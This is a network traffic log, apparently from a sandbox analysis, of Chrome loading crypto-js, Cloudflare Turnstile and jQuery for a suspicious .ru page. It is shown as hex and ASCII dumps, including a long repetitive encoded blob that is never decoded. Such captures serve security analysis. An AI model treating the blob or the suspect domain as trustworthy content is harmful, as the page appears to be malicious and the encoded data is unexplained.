76g44Wk776g776g776g776g776g776g776g44Wk776g776g776g44Wk776g776g44Wk44Wk776g776g776g776g44Wk776g44Wk44Wk776g776g776g44Wk776g776g44Wk44Wk776g44Wk44Wk44Wk44Wk776g44Wk44Wk44Wk776g44Wk776g44Wk776g44Wk44Wk44Wk776g44Wk776g776g776g776g44Wk44Wk44Wk776g44Wk776g776g
2025-03-06 13:38:38 UTC	460	IN	Data Raw: 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 34 34 57 6b 34 34 57 6b 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 34 34 57 6b 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 34 Data Ascii: 6g776g776g44Wk776g44Wk776g776g776g776g776g44Wk776g776g776g44Wk776g776g44Wk44Wk776g44Wk776g44Wk44Wk776g44Wk44Wk776g776g44Wk776g44Wk776g44Wk44Wk44Wk44Wk776g776g44Wk776g44Wk44Wk776g776g44Wk776g776g776g44Wk44Wk776g44Wk44Wk44Wk44Wk776g44Wk44Wk44Wk776g44Wk44Wk4
2025-03-06 13:38:38 UTC	1369	IN	Data Raw: 37 66 66 61 0d 0a 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 34 34 57 6b 37 37 36 67 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 34 34 57 6b 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 34 34 57 6b 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 37 Data Ascii: 7ffa44Wk776g44Wk44Wk44Wk776g776g44Wk44Wk776g776g776g44Wk44Wk776g44Wk44Wk44Wk776g44Wk776g776g776g44Wk44Wk776g44Wk776g776g44Wk776g44Wk44Wk776g44Wk44Wk44Wk44Wk776g44Wk44Wk776g44Wk44Wk44Wk776g776g776g44Wk776g776g776g776g776g776g776g44Wk776g44Wk776g776g776g7
2025-03-06 13:38:38 UTC	1369	IN	Data Raw: 6b 37 37 36 67 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 34 34 57 6b 37 37 36 67 37 37 36 67 34 34 57 6b 34 34 57 6b 34 34 57 6b 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 34 34 57 6b 34 34 57 6b 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 37 37 Data Ascii: k776g776g44Wk44Wk776g776g44Wk776g44Wk776g44Wk44Wk776g44Wk44Wk44Wk776g776g44Wk44Wk44Wk776g44Wk776g776g776g776g44Wk776g44Wk776g776g44Wk776g776g44Wk776g776g776g776g776g776g44Wk44Wk44Wk44Wk776g44Wk44Wk776g776g776g776g44Wk776g44Wk776g776g776g44Wk776g776g776g77
2025-03-06 13:38:38 UTC	1369	IN	Data Raw: 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 34 34 57 6b 34 34 57 6b 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 34 34 57 Data Ascii: 776g776g776g776g776g44Wk776g776g776g776g776g776g776g44Wk776g776g776g776g776g776g776g44Wk776g776g776g776g776g776g776g44Wk776g776g776g776g776g776g776g44Wk776g776g776g776g776g776g44Wk44Wk44Wk44Wk776g44Wk44Wk776g776g44Wk776g776g776g776g776g776g44Wk44Wk776g44W

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.4	49755	104.17.24.14	443	2008	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-03-06 13:38:41 UTC	651	OUT	GET /ajax/libs/crypto-js/4.1.1/crypto-js.min.js HTTP/1.1 Host: cdnjs.cloudflare.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning" sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://xx3j.t23ngbco3.ru/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-03-06 13:38:41 UTC	959	IN	HTTP/1.1 200 OK Date: Thu, 06 Mar 2025 13:38:41 GMT Content-Type: application/javascript; charset=utf-8 Transfer-Encoding: chunked Connection: close Access-Control-Allow-Origin: * Cache-Control: public, max-age=30672000 ETag: W/"64972557-40eb" Last-Modified: Sat, 24 Jun 2023 17:18:15 GMT cf-cdnjs-via: cfworker/r2 Cross-Origin-Resource-Policy: cross-origin Timing-Allow-Origin: * X-Content-Type-Options: nosniff CF-Cache-Status: HIT Age: 43804 Expires: Tue, 24 Feb 2026 13:38:41 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=6iX1F5uUJx0ziGsGQ7FIIWJReS6AbHMCDwDc3bLOFz4zShB4Gtz1ent%2Fnggy%2FplakItagsVNN8%2F1pT%2FiWt248WigovVKe72mndqEC7exhXO4pS1pVKuQhm2kF9qSpIL8lAVcwoFZ"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0.01,"report_to":"cf-nel","max_age":604800} Strict-Transport-Security: max-age=15780000 Server: cloudflare CF-RAY: 91c24140a829b078-ATL alt-svc: h3=":443"; ma=86400
2025-03-06 13:38:41 UTC	410	IN	Data Raw: 37 62 66 31 0d 0a 21 66 75 6e 63 74 69 6f 6e 28 74 2c 65 29 7b 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 65 78 70 6f 72 74 73 3f 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3d 65 78 70 6f 72 74 73 3d 65 28 29 3a 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 64 65 66 69 6e 65 26 26 64 65 66 69 6e 65 2e 61 6d 64 3f 64 65 66 69 6e 65 28 5b 5d 2c 65 29 3a 74 2e 43 72 79 70 74 6f 4a 53 3d 65 28 29 7d 28 74 68 69 73 2c 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 6e 2c 6f 2c 73 2c 61 2c 68 2c 74 2c 65 2c 6c 2c 72 2c 69 2c 63 2c 66 2c 64 2c 75 2c 70 2c 53 2c 78 2c 62 2c 41 2c 48 2c 7a 2c 5f 2c 76 2c 67 2c 79 2c 42 2c 77 2c 6b 2c 6d 2c 43 2c 44 2c 45 2c 52 2c 4d 2c 46 2c 50 2c 57 2c 4f 2c 49 2c 55 3d 55 7c 7c 66 75 6e 63 74 69 6f 6e 28 68 29 7b Data Ascii: 7bf1!function(t,e){"object"==typeof exports?module.exports=exports=e():"function"==typeof define&&define.amd?define([],e):t.CryptoJS=e()}(this,function(){var n,o,s,a,h,t,e,l,r,i,c,f,d,u,p,S,x,b,A,H,z,_,v,g,y,B,w,k,m,C,D,E,R,M,F,P,W,O,I,U=U\|\|function(h){
2025-03-06 13:38:41 UTC	1369	IN	Data Raw: 66 20 67 6c 6f 62 61 6c 54 68 69 73 26 26 67 6c 6f 62 61 6c 54 68 69 73 2e 63 72 79 70 74 6f 3f 67 6c 6f 62 61 6c 54 68 69 73 2e 63 72 79 70 74 6f 3a 69 29 26 26 22 75 6e 64 65 66 69 6e 65 64 22 21 3d 74 79 70 65 6f 66 20 77 69 6e 64 6f 77 26 26 77 69 6e 64 6f 77 2e 6d 73 43 72 79 70 74 6f 3f 77 69 6e 64 6f 77 2e 6d 73 43 72 79 70 74 6f 3a 69 29 26 26 22 75 6e 64 65 66 69 6e 65 64 22 21 3d 74 79 70 65 6f 66 20 67 6c 6f 62 61 6c 26 26 67 6c 6f 62 61 6c 2e 63 72 79 70 74 6f 3f 67 6c 6f 62 61 6c 2e 63 72 79 70 74 6f 3a 69 29 26 26 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 72 65 71 75 69 72 65 29 74 72 79 7b 69 3d 72 65 71 75 69 72 65 28 22 63 72 79 70 74 6f 22 29 7d 63 61 74 63 68 28 74 29 7b 7d 76 61 72 20 72 3d 4f 62 6a 65 63 74 2e 63 72 65 Data Ascii: f globalThis&&globalThis.crypto?globalThis.crypto:i)&&"undefined"!=typeof window&&window.msCrypto?window.msCrypto:i)&&"undefined"!=typeof global&&global.crypto?global.crypto:i)&&"function"==typeof require)try{i=require("crypto")}catch(t){}var r=Object.cre
2025-03-06 13:38:41 UTC	1369	IN	Data Raw: 63 61 6c 6c 28 74 68 69 73 29 3b 72 65 74 75 72 6e 20 74 2e 77 6f 72 64 73 3d 74 68 69 73 2e 77 6f 72 64 73 2e 73 6c 69 63 65 28 30 29 2c 74 7d 2c 72 61 6e 64 6f 6d 3a 66 75 6e 63 74 69 6f 6e 28 74 29 7b 66 6f 72 28 76 61 72 20 65 3d 5b 5d 2c 72 3d 30 3b 72 3c 74 3b 72 2b 3d 34 29 65 2e 70 75 73 68 28 66 75 6e 63 74 69 6f 6e 28 29 7b 69 66 28 69 29 7b 69 66 28 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 69 2e 67 65 74 52 61 6e 64 6f 6d 56 61 6c 75 65 73 29 74 72 79 7b 72 65 74 75 72 6e 20 69 2e 67 65 74 52 61 6e 64 6f 6d 56 61 6c 75 65 73 28 6e 65 77 20 55 69 6e 74 33 32 41 72 72 61 79 28 31 29 29 5b 30 5d 7d 63 61 74 63 68 28 74 29 7b 7d 69 66 28 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 69 2e 72 61 6e 64 6f 6d 42 79 74 65 73 Data Ascii: call(this);return t.words=this.words.slice(0),t},random:function(t){for(var e=[],r=0;r<t;r+=4)e.push(function(){if(i){if("function"==typeof i.getRandomValues)try{return i.getRandomValues(new Uint32Array(1))[0]}catch(t){}if("function"==typeof i.randomBytes
2025-03-06 13:38:41 UTC	1369	IN	Data Raw: 70 65 6f 66 20 74 26 26 28 74 3d 66 2e 70 61 72 73 65 28 74 29 29 2c 74 68 69 73 2e 5f 64 61 74 61 2e 63 6f 6e 63 61 74 28 74 29 2c 74 68 69 73 2e 5f 6e 44 61 74 61 42 79 74 65 73 2b 3d 74 2e 73 69 67 42 79 74 65 73 7d 2c 5f 70 72 6f 63 65 73 73 3a 66 75 6e 63 74 69 6f 6e 28 74 29 7b 76 61 72 20 65 2c 72 3d 74 68 69 73 2e 5f 64 61 74 61 2c 69 3d 72 2e 77 6f 72 64 73 2c 6e 3d 72 2e 73 69 67 42 79 74 65 73 2c 6f 3d 74 68 69 73 2e 62 6c 6f 63 6b 53 69 7a 65 2c 73 3d 6e 2f 28 34 2a 6f 29 2c 63 3d 28 73 3d 74 3f 68 2e 63 65 69 6c 28 73 29 3a 68 2e 6d 61 78 28 28 30 7c 73 29 2d 74 68 69 73 2e 5f 6d 69 6e 42 75 66 66 65 72 53 69 7a 65 2c 30 29 29 2a 6f 2c 6e 3d 68 2e 6d 69 6e 28 34 2a 63 2c 6e 29 3b 69 66 28 63 29 7b 66 6f 72 28 76 61 72 20 61 3d 30 3b 61 3c 63 Data Ascii: peof t&&(t=f.parse(t)),this._data.concat(t),this._nDataBytes+=t.sigBytes},_process:function(t){var e,r=this._data,i=r.words,n=r.sigBytes,o=this.blockSize,s=n/(4o),c=(s=t?h.ceil(s):h.max((0\|s)-this._minBufferSize,0))o,n=h.min(4*c,n);if(c){for(var a=0;a<c
2025-03-06 13:38:41 UTC	1369	IN	Data Raw: 76 61 72 20 74 3d 74 68 69 73 2e 5f 58 2c 65 3d 74 68 69 73 2e 5f 43 2c 72 3d 30 3b 72 3c 38 3b 72 2b 2b 29 45 5b 72 5d 3d 65 5b 72 5d 3b 65 5b 30 5d 3d 65 5b 30 5d 2b 31 32 39 35 33 30 37 35 39 37 2b 74 68 69 73 2e 5f 62 7c 30 2c 65 5b 31 5d 3d 65 5b 31 5d 2b 33 35 34 35 30 35 32 33 37 31 2b 28 65 5b 30 5d 3e 3e 3e 30 3c 45 5b 30 5d 3e 3e 3e 30 3f 31 3a 30 29 7c 30 2c 65 5b 32 5d 3d 65 5b 32 5d 2b 38 38 36 32 36 33 30 39 32 2b 28 65 5b 31 5d 3e 3e 3e 30 3c 45 5b 31 5d 3e 3e 3e 30 3f 31 3a 30 29 7c 30 2c 65 5b 33 5d 3d 65 5b 33 5d 2b 31 32 39 35 33 30 37 35 39 37 2b 28 65 5b 32 5d 3e 3e 3e 30 3c 45 5b 32 5d 3e 3e 3e 30 3f 31 3a 30 29 7c 30 2c 65 5b 34 5d 3d 65 5b 34 5d 2b 33 35 34 35 30 35 32 33 37 31 2b 28 65 5b 33 5d 3e 3e 3e 30 3c 45 5b 33 5d 3e 3e 3e Data Ascii: var t=this._X,e=this._C,r=0;r<8;r++)E[r]=e[r];e[0]=e[0]+1295307597+this._b\|0,e[1]=e[1]+3545052371+(e[0]>>>0<E[0]>>>0?1:0)\|0,e[2]=e[2]+886263092+(e[1]>>>0<E[1]>>>0?1:0)\|0,e[3]=e[3]+1295307597+(e[2]>>>0<E[2]>>>0?1:0)\|0,e[4]=e[4]+3545052371+(e[3]>>>0<E[3]>>>
2025-03-06 13:38:41 UTC	1369	IN	Data Raw: 66 6f 72 28 72 3d 30 3b 72 3c 38 3b 72 2b 2b 29 7b 76 61 72 20 69 3d 74 5b 72 5d 2b 65 5b 72 5d 2c 6e 3d 36 35 35 33 35 26 69 2c 6f 3d 69 3e 3e 3e 31 36 3b 49 5b 72 5d 3d 28 28 6e 2a 6e 3e 3e 3e 31 37 29 2b 6e 2a 6f 3e 3e 3e 31 35 29 2b 6f 2a 6f 5e 28 28 34 32 39 34 39 30 31 37 36 30 26 69 29 2a 69 7c 30 29 2b 28 28 36 35 35 33 35 26 69 29 2a 69 7c 30 29 7d 74 5b 30 5d 3d 49 5b 30 5d 2b 28 49 5b 37 5d 3c 3c 31 36 7c 49 5b 37 5d 3e 3e 3e 31 36 29 2b 28 49 5b 36 5d 3c 3c 31 36 7c 49 5b 36 5d 3e 3e 3e 31 36 29 7c 30 2c 74 5b 31 5d 3d 49 5b 31 5d 2b 28 49 5b 30 5d 3c 3c 38 7c 49 5b 30 5d 3e 3e 3e 32 34 29 2b 49 5b 37 5d 7c 30 2c 74 5b 32 5d 3d 49 5b 32 5d 2b 28 49 5b 31 5d 3c 3c 31 36 7c 49 5b 31 5d 3e 3e 3e 31 36 29 2b 28 49 5b 30 5d 3c 3c 31 36 7c 49 5b 30 Data Ascii: for(r=0;r<8;r++){var i=t[r]+e[r],n=65535&i,o=i>>>16;I[r]=((nn>>>17)+no>>>15)+oo^((4294901760&i)i\|0)+((65535&i)*i\|0)}t[0]=I[0]+(I[7]<<16\|I[7]>>>16)+(I[6]<<16\|I[6]>>>16)\|0,t[1]=I[1]+(I[0]<<8\|I[0]>>>24)+I[7]\|0,t[2]=I[2]+(I[1]<<16\|I[1]>>>16)+(I[0]<<16\|I[0
2025-03-06 13:38:41 UTC	1369	IN	Data Raw: 72 2c 74 2e 62 79 74 65 4f 66 66 73 65 74 2c 74 2e 62 79 74 65 4c 65 6e 67 74 68 29 3a 74 29 69 6e 73 74 61 6e 63 65 6f 66 20 55 69 6e 74 38 41 72 72 61 79 29 7b 66 6f 72 28 76 61 72 20 65 3d 74 2e 62 79 74 65 4c 65 6e 67 74 68 2c 72 3d 5b 5d 2c 69 3d 30 3b 69 3c 65 3b 69 2b 2b 29 72 5b 69 3e 3e 3e 32 5d 7c 3d 74 5b 69 5d 3c 3c 32 34 2d 69 25 34 2a 38 3b 73 2e 63 61 6c 6c 28 74 68 69 73 2c 72 2c 65 29 7d 65 6c 73 65 20 73 2e 61 70 70 6c 79 28 74 68 69 73 2c 61 72 67 75 6d 65 6e 74 73 29 7d 29 2e 70 72 6f 74 6f 74 79 70 65 3d 50 29 2c 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 74 3d 55 2c 6e 3d 74 2e 6c 69 62 2e 57 6f 72 64 41 72 72 61 79 2c 74 3d 74 2e 65 6e 63 3b 74 2e 55 74 66 31 36 3d 74 2e 55 74 66 31 36 42 45 3d 7b 73 74 72 69 6e 67 69 66 79 3a 66 Data Ascii: r,t.byteOffset,t.byteLength):t)instanceof Uint8Array){for(var e=t.byteLength,r=[],i=0;i<e;i++)r[i>>>2]\|=t[i]<<24-i%4*8;s.call(this,r,e)}else s.apply(this,arguments)}).prototype=P),function(){var t=U,n=t.lib.WordArray,t=t.enc;t.Utf16=t.Utf16BE={stringify:f
2025-03-06 13:38:41 UTC	1369	IN	Data Raw: 68 61 72 41 74 28 36 34 29 3b 72 65 74 75 72 6e 21 6f 7c 7c 2d 31 21 3d 3d 28 6f 3d 74 2e 69 6e 64 65 78 4f 66 28 6f 29 29 26 26 28 65 3d 6f 29 2c 66 75 6e 63 74 69 6f 6e 28 74 2c 65 2c 72 29 7b 66 6f 72 28 76 61 72 20 69 3d 5b 5d 2c 6e 3d 30 2c 6f 3d 30 3b 6f 3c 65 3b 6f 2b 2b 29 7b 76 61 72 20 73 2c 63 3b 6f 25 34 26 26 28 73 3d 72 5b 74 2e 63 68 61 72 43 6f 64 65 41 74 28 6f 2d 31 29 5d 3c 3c 6f 25 34 2a 32 2c 63 3d 72 5b 74 2e 63 68 61 72 43 6f 64 65 41 74 28 6f 29 5d 3e 3e 3e 36 2d 6f 25 34 2a 32 2c 63 3d 73 7c 63 2c 69 5b 6e 3e 3e 3e 32 5d 7c 3d 63 3c 3c 32 34 2d 6e 25 34 2a 38 2c 6e 2b 2b 29 7d 72 65 74 75 72 6e 20 61 2e 63 72 65 61 74 65 28 69 2c 6e 29 7d 28 74 2c 65 2c 69 29 7d 2c 5f 6d 61 70 3a 22 41 42 43 44 45 46 47 48 49 4a 4b 4c 4d 4e 4f 50 Data Ascii: harAt(64);return!o\|\|-1!==(o=t.indexOf(o))&&(e=o),function(t,e,r){for(var i=[],n=0,o=0;o<e;o++){var s,c;o%4&&(s=r[t.charCodeAt(o-1)]<<o%42,c=r[t.charCodeAt(o)]>>>6-o%42,c=s\|c,i[n>>>2]\|=c<<24-n%4*8,n++)}return a.create(i,n)}(t,e,i)},_map:"ABCDEFGHIJKLMNOP
2025-03-06 13:38:41 UTC	1369	IN	Data Raw: 61 2e 73 69 6e 28 74 2b 31 29 29 7c 30 7d 28 29 3b 65 3d 65 2e 4d 44 35 3d 69 2e 65 78 74 65 6e 64 28 7b 5f 64 6f 52 65 73 65 74 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 74 68 69 73 2e 5f 68 61 73 68 3d 6e 65 77 20 72 2e 69 6e 69 74 28 5b 31 37 33 32 35 38 34 31 39 33 2c 34 30 32 33 32 33 33 34 31 37 2c 32 35 36 32 33 38 33 31 30 32 2c 32 37 31 37 33 33 38 37 38 5d 29 7d 2c 5f 64 6f 50 72 6f 63 65 73 73 42 6c 6f 63 6b 3a 66 75 6e 63 74 69 6f 6e 28 74 2c 65 29 7b 66 6f 72 28 76 61 72 20 72 3d 30 3b 72 3c 31 36 3b 72 2b 2b 29 7b 76 61 72 20 69 3d 65 2b 72 2c 6e 3d 74 5b 69 5d 3b 74 5b 69 5d 3d 31 36 37 31 31 39 33 35 26 28 6e 3c 3c 38 7c 6e 3e 3e 3e 32 34 29 7c 34 32 37 38 32 35 35 33 36 30 26 28 6e 3c 3c 32 34 7c 6e 3e 3e 3e 38 29 7d 76 61 72 20 6f 3d 74 68 69 Data Ascii: a.sin(t+1))\|0}();e=e.MD5=i.extend({_doReset:function(){this._hash=new r.init([1732584193,4023233417,2562383102,271733878])},_doProcessBlock:function(t,e){for(var r=0;r<16;r++){var i=e+r,n=t[i];t[i]=16711935&(n<<8\|n>>>24)\|4278255360&(n<<24\|n>>>8)}var o=thi
2025-03-06 13:38:41 UTC	1369	IN	Data Raw: 29 2c 6d 3d 43 28 6d 2c 62 2c 78 2c 53 2c 42 2c 34 2c 41 5b 34 30 5d 29 2c 53 3d 43 28 53 2c 6d 2c 62 2c 78 2c 73 2c 31 31 2c 41 5b 34 31 5d 29 2c 78 3d 43 28 78 2c 53 2c 6d 2c 62 2c 68 2c 31 36 2c 41 5b 34 32 5d 29 2c 62 3d 43 28 62 2c 78 2c 53 2c 6d 2c 64 2c 32 33 2c 41 5b 34 33 5d 29 2c 6d 3d 43 28 6d 2c 62 2c 78 2c 53 2c 5f 2c 34 2c 41 5b 34 34 5d 29 2c 53 3d 43 28 53 2c 6d 2c 62 2c 78 2c 67 2c 31 31 2c 41 5b 34 35 5d 29 2c 78 3d 43 28 78 2c 53 2c 6d 2c 62 2c 6b 2c 31 36 2c 41 5b 34 36 5d 29 2c 6d 3d 44 28 6d 2c 62 3d 43 28 62 2c 78 2c 53 2c 6d 2c 61 2c 32 33 2c 41 5b 34 37 5d 29 2c 78 2c 53 2c 73 2c 36 2c 41 5b 34 38 5d 29 2c 53 3d 44 28 53 2c 6d 2c 62 2c 78 2c 75 2c 31 30 2c 41 5b 34 39 5d 29 2c 78 3d 44 28 78 2c 53 2c 6d 2c 62 2c 77 2c 31 35 2c 41 Data Ascii: ),m=C(m,b,x,S,B,4,A[40]),S=C(S,m,b,x,s,11,A[41]),x=C(x,S,m,b,h,16,A[42]),b=C(b,x,S,m,d,23,A[43]),m=C(m,b,x,S,_,4,A[44]),S=C(S,m,b,x,g,11,A[45]),x=C(x,S,m,b,k,16,A[46]),m=D(m,b=C(b,x,S,m,a,23,A[47]),x,S,s,6,A[48]),S=D(S,m,b,x,u,10,A[49]),x=D(x,S,m,b,w,15,A

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.4	49754	104.18.94.41	443	2008	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-03-06 13:38:41 UTC	664	OUT	GET /turnstile/v0/api.js?onload=onloadTurnstileCallback HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning" sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://xx3j.t23ngbco3.ru/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-03-06 13:38:41 UTC	386	IN	HTTP/1.1 302 Found Date: Thu, 06 Mar 2025 13:38:41 GMT Content-Length: 0 Connection: close access-control-allow-origin: * cache-control: max-age=300, stale-if-error=10800, stale-while-revalidate=300, public cross-origin-resource-policy: cross-origin location: /turnstile/v0/g/f3b948d8acb8/api.js Server: cloudflare CF-RAY: 91c24140d9ebb0c4-ATL alt-svc: h3=":443"; ma=86400

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.4	49753	151.101.66.137	443	2008	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-03-06 13:38:41 UTC	623	OUT	GET /jquery-3.6.0.min.js HTTP/1.1 Host: code.jquery.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning" sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://xx3j.t23ngbco3.ru/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-03-06 13:38:41 UTC	614	IN	HTTP/1.1 200 OK Connection: close Content-Length: 89501 Server: nginx Content-Type: application/javascript; charset=utf-8 Last-Modified: Fri, 18 Oct 1991 12:00:00 GMT ETag: "28feccc0-15d9d" Cache-Control: public, max-age=31536000, stale-while-revalidate=604800 Access-Control-Allow-Origin: * Cross-Origin-Resource-Policy: cross-origin Via: 1.1 varnish, 1.1 varnish Accept-Ranges: bytes Date: Thu, 06 Mar 2025 13:38:41 GMT Age: 2509923 X-Served-By: cache-lga21931-LGA, cache-pdk-kfty8610047-PDK X-Cache: HIT, HIT X-Cache-Hits: 1584, 28 X-Timer: S1741268321.386009,VS0,VE0 Vary: Accept-Encoding
2025-03-06 13:38:41 UTC	1378	IN	Data Raw: 2f 2a 21 20 6a 51 75 65 72 79 20 76 33 2e 36 2e 30 20 7c 20 28 63 29 20 4f 70 65 6e 4a 53 20 46 6f 75 6e 64 61 74 69 6f 6e 20 61 6e 64 20 6f 74 68 65 72 20 63 6f 6e 74 72 69 62 75 74 6f 72 73 20 7c 20 6a 71 75 65 72 79 2e 6f 72 67 2f 6c 69 63 65 6e 73 65 20 2a 2f 0a 21 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 26 26 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3f 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3d 65 2e 64 6f 63 75 6d 65 6e 74 3f 74 28 65 2c 21 30 29 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 69 66 28 21 65 2e 64 6f 63 75 6d 65 6e 74 29 74 68 72 6f 77 20 6e 65 77 20 45 72 72 6f 72 28 22 6a 51 75 Data Ascii: /! jQuery v3.6.0 \| (c) OpenJS Foundation and other contributors \| jquery.org/license /!function(e,t){"use strict";"object"==typeof module&&"object"==typeof module.exports?module.exports=e.document?t(e,!0):function(e){if(!e.document)throw new Error("jQu
